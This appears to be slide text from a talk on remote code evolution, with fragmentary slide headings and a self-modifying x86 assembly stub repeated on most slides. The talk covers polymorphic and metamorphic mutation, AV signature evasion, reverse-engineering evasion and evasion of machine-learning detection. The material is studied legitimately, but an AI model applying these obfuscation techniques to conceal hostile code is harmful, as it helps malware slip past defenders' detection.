add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Demo 1
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Mutation Engines
AV Signature Evasion
Polymorphic Engines
Metamorphic Engines
morphed body encryption
body polymorphic
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Signature Evasion
Morphing Techniques Evading Signature
Instruction reordering
Subroutine permutation
Subroutine Inlining
Expansion
Subroutine Outlining
Code Permutation
Instruction Substitution
Transposition
Dead Code Insertion
Changing Control Flow
Can not resist reverse engineering
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Remote Code Evolution
Flux Mutation Goals
Ensure Trusted Remote Execution
Evade Signature
Extend Trust
Evade AI Machine Learning
Detect & Evade RE
Detect Tampering Attempts
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Trusted Mutation
Trusted Challenge Response Mutation
Morphing Engine
Remote Mutation
Challenge
Mutated
Function
Morphed Function
Morphed Function
Head
Tail
Unused Code
Return value
Response
Mutation
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Structure Obfuscation
All functions look the same before and during execution
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Structure Obfuscation
Self modifying basic block Edges
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Demo 2
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
RE Evasion
Morphing Techniques
Metamorphic + Polymorphic
Self modifying mutation
Code structure obfuscation
Clock synchronized execution
Challenge-Response Mutation
Functionality Mutation
Decoupled Reversible Mutation
Slices Permutation
Code size magnification
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
_start:
push 0
pushad
mov reg1, [fs:dword 0x30]
movzx reg2, byte [reg1+2]
mov dword [esp+32], reg2
popad
pop eax
ret
end:
Remote Code Evolution
Morphing Techniques
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
_start:
xor reg1, reg1
push reg1
pushad
mov reg1, [fs:dword 0x30]
movzx reg2, byte [reg1+2]
mov dword [esp+32], reg2
popad
pop eax
ret
end:
push 0{
Remote Code Evolution
Morphing Techniques
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
_start:
xor reg1, reg1
push reg1
pushad
sub reg1, reg1
mov reg1, [fs:dword 0x30]
movzx reg2, byte [reg1+2]
mov dword [esp+32], reg2
popad
pop eax
ret
end:
push 0{
Insertion
Remote Code Evolution
Morphing Techniques
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
_start:
xor reg1, reg1
push reg1
pushad
sub reg1, reg1
mov reg1, [fs:dword 0x30]
add reg2, reg2
movzx reg2, byte [reg1+2]
mov dword [esp+32], reg2
popad
pop eax
ret
end:
push 0{
Insertion
Insertion
Remote Code Evolution
Morphing Techniques
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
_start:
xor reg1, reg1
push reg1
pushad
sub reg1, reg1
mov reg1, [fs:dword 0x30]
add reg2, reg2
movzx reg2, byte [reg1+2]
mov reg3, reg4
mov dword [esp+32], reg2
popad
pop eax
ret
end:
push 0{
Insertion
Insertion
Insertion
Remote Code Evolution
Morphing Techniques
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Remote Code Evolution
_start:
xor reg1, reg1
push reg1
pushad
sub reg1, reg1
mov reg1, [fs:dword 0x30]
add reg2, reg2
movzx reg2, byte [reg1+2]
mov reg3, reg4
mov dword [esp+32], reg2
popad
pop eax
ret
end:
push 0{
Insertion
Insertion
Insertion
n*nop
Morphing Techniques
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Remote Code Evolution
_start:
xor reg1, reg1
push reg1
pushad
sub reg1, reg1
mov reg1, [fs:dword 0x30]
add reg2, reg2
movzx reg2, byte [reg1+2]
mov reg3, reg4
mov dword [esp+32], reg2
popad
pop eax
ret
end:
push 0{
Insertion
Insertion
Insertion
n*nop
Morphing Techniques
add esp,36
push reg2
sub esp,32
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
_start:
xor reg1, reg1
push reg1
pushad
sub reg1, reg1
mov reg1, [fs:dword 0x30]
add reg2, reg2
movzx reg2, byte [reg1+2]
mov reg3, reg4
mov dword [esp+32], reg2
popad
nop
pop eax
nop
ret
end:
Remote Code Evolution
First Morphing Stage
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Second Morphing Stage
Remote Code Evolution
line1:
xor edi, edi
jmp long line2
line11:
popad
jmp long line12
line10:
nop
jmp long line11
line5:
jmp long line6
line4:
sub edi, edi
jmp long line5
line3:
pushad
jmp long line4
line2:
push edi
jmp long line3
line8:
mov ecx, edx
jmp long line9
line7:
movzx ebx, byte [edi+2]
jmp long line8
line6:
add ebx, ebx
jmp long line7
line9:
mov dword [esp+32], ebx
jmp long line10
line15:
ret
jmp long line16
line14:
nop
jmp long line15
line13:
pop eax
jmp long line14
line12:
nop
jmp long line13
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
line1:
xor edi, edi
jmp long line2
line11:
popad
jmp long line12
line10:
nop
jmp long line11
line5:
jmp long line6
line4:
sub edi, edi
jmp long line5
line3:
pushad
jmp long line4
line2:
push edi
jmp long line3
line8:
mov ecx, edx
jmp long line9
line7:
movzx ebx, byte [edi+2]
jmp long line8
line6:
add ebx, ebx
jmp long line7
line9:
mov dword [esp+32], ebx
jmp long line10
line15:
ret
jmp long line16
line14:
nop
jmp long line15
line13:
pop eax
jmp long line14
line12:
nop
jmp long line13
Third Morphing Stage
Remote Code Evolution
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Self Modifying Body Polymorphism
line1:
xor edi, edi
jmp long line2
line1:
pushad
pushf
call line1_1
db 5
db 1
dd -1
db 0
dd 27
db 4
dd 3524080526
db 0
dd 7
db 2
dd 545547056
mov eax, 93
add ecx, eax
mov eax, ecx
mov ebx, 0x11223344
not ebx
mov [ecx], ebx
add ecx, 4
mov ebx, 0x11223344
ror ebx, 27
mov [ecx], ebx
add ecx, 4
xor dword [ecx], 0x11223344
add ecx, 4
mov ebx, 0x11223344
ror ebx, 7
mov [ecx], ebx
add ecx, 4
add dword [ecx], 0x11223344
add ecx, 4
jmp eax
line1_2:
popf
popad
xor edi, edi
jmp long line2
nop
. . . 20*nops
nop
line1_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
mov byte [ecx], dl
mov edx, 0x00000058
mov dword [ecx+1], edx
ret
Random Obfuscation Keys
db 5
db 1
dd -1
db 0
dd 27
db 4
dd 3524080526
db 0
dd 7
db 2
dd 545547056
Self modifying instructions
mov eax, 93
add ecx, eax
mov eax, ecx
mov ebx, 0x11223344
not ebx
mov [ecx], ebx
add ecx, 4
mov ebx, 0x11223344
ror ebx, 27
mov [ecx], ebx
add ecx, 4
xor dword [ecx], 0x11223344
add ecx, 4
mov ebx, 0x11223344
ror ebx, 7
mov [ecx], ebx
add ecx, 4
add dword [ecx], 0x11223344
add ecx, 4
jmp eax
line1_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
mov byte [ecx], dl
mov edx, 0x00000058
mov dword [ecx+1], edx
ret
Self Modifying
Forth Morphing Stage
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Self Modifying Blocks
Obfuscation Keys
Self modifying code
All blocks have same
identical structure
One block per
morphed instruction
Fifth Morphing Stage
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Self Modifying Blocks
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Response Time
[+] mutated code size: 15110 bytes
[+] encrypted response: 0x09575e31 | 156720689
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.685972 ms
[+] mutated code size: 17771 bytes
[+] encrypted response: 0x5820b6b5 | 1478538933
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.040096 ms
[+] mutated code size: 23814 bytes
[+] encrypted response: 0x5d844e9a | 1568951962
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.897926 ms
[+] mutated code size: 19768 bytes
[+] encrypted response: 0x818af8d8 | -2121598760
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.177187 ms
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Variable Code Size
[+] mutated code size: 15110 bytes
[+] encrypted response: 0x09575e31 | 156720689
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.685972 ms
[+] mutated code size: 17771 bytes
[+] encrypted response: 0x5820b6b5 | 1478538933
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.040096 ms
[+] mutated code size: 23814 bytes
[+] encrypted response: 0x5d844e9a | 1568951962
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.897926 ms
[+] mutated code size: 19768 bytes
[+] encrypted response: 0x818af8d8 | -2121598760
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.177187 ms
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
